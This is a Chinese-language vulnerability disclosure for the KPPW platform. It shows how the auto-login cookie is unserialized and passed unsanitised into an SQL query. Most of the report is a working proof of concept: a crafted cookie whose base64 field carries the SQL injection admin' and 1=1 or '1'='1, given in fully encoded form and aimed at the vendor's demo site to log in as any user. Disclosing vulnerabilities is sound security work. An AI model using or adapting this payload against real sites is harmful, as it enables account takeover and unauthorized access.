kppw最新版任意用户登录

### 简要描述： 只需要用户名和用户id即可实现任意用户登录 ### 详细说明： 问题出在 lib/inc/keke_core_class.php function init_user() 第981行 ``` elseif ($_COOKIE ['keke_auto_login']) { $loginInfo = unserialize ( $_COOKIE ['keke_auto_login'] ); $pwdInfo = explode ( '|', base64_decode ( $loginInfo [2] ) ); $uInfo = kekezu::get_table_data ( '*', 'witkey_space', " username='$pwdInfo[2]' and password = '$pwdInfo[1]'", '', '' ); if ($uInfo [0] ['uid'] == $pwdInfo [0]) { $_SESSION ['uid'] = $uInfo [0] ['uid']; $_SESSION ['username'] = $uInfo [0] ['username']; $this->_uid = $_SESSION ['uid']; $this->_username = $uInfo [0] ['username']; } } ``` $uInfo = kekezu::get_table_data ( '*', 'witkey_space', " username='$pwdInfo[2]' and password = '$pwdInfo[1]'", '', '' ); 此处两个变量都来自$pwdInfo $pwdInfo = explode ( '|', base64_decode ( $loginInfo [2] ) ); 继续跟进 $loginInfo = unserialize ( $_COOKIE ['keke_auto_login'] ); 全程无安全处理，现在来看看$_COOKIE['keke_auto_login']的格式 正常情况下在登录处勾选记住我   即autoLogin=1 就会生成$_COOKIE['keke_auto_login'],格式如下：  ``` keke_auto_login=a%3A3%3A%7Bi%3A0%3Bs%3A4%3A%22MTA%3D%22%3Bi%3A1%3Bs%3A8%3A%22cXdlcnR5%22%3Bi%3A2%3Bs%3A56%3A%22MTB8ZDg1NzhlZGY4NDU4Y2UwNmZiYzViYjc2YTU4YzVjYTR8cXdlcnR5%22%3B%7D unserialize后为 array (size=3) 0 => string 'MTA=' (length=4) 1 => string 'cXdlcnR5' (length=8) 2 => string 'MTB8ZDg1NzhlZGY4NDU4Y2UwNmZiYzViYjc2YTU4YzVjYTR8cXdlcnR5' (length=56) 将MTB8ZDg1NzhlZGY4NDU4Y2UwNmZiYzViYjc2YTU4YzVjYTR8cXdlcnR5进行base64解码得 10|d8578edf8458ce06fbc5bb76a58c5ca4|qwerty 即uid,md5后的password,用户名 此处并没有做任何判断 拿官网demo演示 首先如上取字符串,替换id,和用户名 1|d8578edf8458ce06fbc5bb76a58c5ca4|admin' and 1=1 or '1'='1 base64编码 MXxkODU3OGVkZjg0NThjZTA2ZmJjNWJiNzZhNThjNWNhNHxhZG1pbicgYW5kIDE9MSBvciAnMSc9JzE= 再填充进序列化后的数组 array (size=3) 0 => string 'MTA=' (length=4) 1 => string 'cXdlcnR5' (length=8) 2 => string 'MXxkODU3OGVkZjg0NThjZTA2ZmJjNWJiNzZhNThjNWNhNHxhZG1pbicgYW5kIDE9MSBvciAnMSc9JzE=’ (length=80) 进行url编码后得 keke_auto_login=a%3A3%3A%7Bi%3A0%3Bs%3A4%3A%22MTA%3D%22%3Bi%3A1%3Bs%3A8%3A%22cXdlcnR5%22%3Bi%3A2%3Bs%3A80%3A%22MXxkODU3OGVkZjg0NThjZTA2ZmJjNWJiNzZhNThjNWNhNHxhZG1pbicgYW5kIDE9MSBvciAnMSc9JzE=%22%3B%7D 将其加入cookies直接请求http://demo.kppw.cn/index.php?do=login ```   ### 漏洞证明： 如上。。。。